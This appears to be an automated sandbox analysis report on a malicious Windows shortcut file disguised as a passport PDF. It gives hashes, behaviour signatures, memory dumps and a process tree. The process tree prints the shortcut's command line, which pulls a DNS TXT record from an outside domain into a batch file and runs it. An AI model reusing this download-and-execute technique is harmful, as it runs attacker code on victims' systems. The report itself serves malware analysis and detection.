Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-12-2023 08:34

General

  • Target

    Passport20231023_90223 pdf lnk.lnk

  • Size

    1KB

  • MD5

    c97607e6e04da0e5ef7414821afba0f5

  • SHA1

    2acd031bbb023660c5c214809ef7e32a040ad4dd

  • SHA256

    9a1d62c7aa156b0920f87b422ab3685e60393fc97a0b742e533e791adcf5a31d

  • SHA512

    a5a1d693b1da51fbdc46047af26697efd5f51bf1cc0928065a4cc67a19c1a39d58e68e8b7a70666d9d350c337f5bd5fb5c80fa796e35cc8b809c0b90c33b0b61

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Passport20231023_90223 pdf lnk.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4584
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" cmd /k cd C:\Users\Admin\AppData\Local\Temp & NSlookup -type=TXT tos.viewdobdrv.com | findstr """" > Taste.cmd & Taste.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1708
      • C:\Windows\system32\findstr.exe
        findstr """"
        3⤵
          PID:1040
        • C:\Windows\system32\nslookup.exe
          NSlookup -type=TXT tos.viewdobdrv.com
          3⤵
            PID:1632
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
        1⤵
          PID:1720
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k UnistackSvcGroup
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1040

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.jfm

          Filesize

          16KB

          MD5

          17497c9e0bc526ed0819cd6ad93df7ae

          SHA1

          61f164b81a2a2b35af657237efc0b4f7965a414d

          SHA256

          f86168e7db6ced2551d982ca8adb6c328eeb0cd0b4f44d910209001d79b678ae

          SHA512

          e03e2a472845c153d610a2d25de8c61f85143a8a163219aa84982e54db83863a0172e66aab81c8c5c0263940dacf77fd000b87e948acd377091a752627659d69

        • C:\Users\Admin\AppData\Local\Temp\Taste.cmd

          Filesize

          224B

          MD5

          e201ea24b4a9bc902fdba32adef12a1d

          SHA1

          2f612798e94d635629ee357cf9776c19ed54cef4

          SHA256

          f712c3e0e170c00971fe11a237799b6ae99f6bc55671a881f5875bf4fbf0d2fe

          SHA512

          643878798d08c99bdda2116b09127cba93cced257c1cbc1497c3929cf0a61dec001f2968e5a7638119c0c0fbd24116f3ba3abbcff13ffc574deebd8118ede766

        • memory/1040-49-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-41-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-50-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-42-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-43-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-44-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-45-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-46-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-51-0x00000200DE3C0000-0x00000200DE3C1000-memory.dmp

          Filesize

          4KB

        • memory/1040-48-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-76-0x00000200DE610000-0x00000200DE611000-memory.dmp

          Filesize

          4KB

        • memory/1040-40-0x00000200DE770000-0x00000200DE771000-memory.dmp

          Filesize

          4KB

        • memory/1040-47-0x00000200DE7A0000-0x00000200DE7A1000-memory.dmp

          Filesize

          4KB

        • memory/1040-52-0x00000200DE3B0000-0x00000200DE3B1000-memory.dmp

          Filesize

          4KB

        • memory/1040-54-0x00000200DE3C0000-0x00000200DE3C1000-memory.dmp

          Filesize

          4KB

        • memory/1040-57-0x00000200DE3B0000-0x00000200DE3B1000-memory.dmp

          Filesize

          4KB

        • memory/1040-60-0x00000200DE2F0000-0x00000200DE2F1000-memory.dmp

          Filesize

          4KB

        • memory/1040-8-0x00000200D6080000-0x00000200D6090000-memory.dmp

          Filesize

          64KB

        • memory/1040-72-0x00000200DE4F0000-0x00000200DE4F1000-memory.dmp

          Filesize

          4KB

        • memory/1040-74-0x00000200DE500000-0x00000200DE501000-memory.dmp

          Filesize

          4KB

        • memory/1040-75-0x00000200DE500000-0x00000200DE501000-memory.dmp

          Filesize

          4KB

        • memory/1040-24-0x00000200D6180000-0x00000200D6190000-memory.dmp

          Filesize

          64KB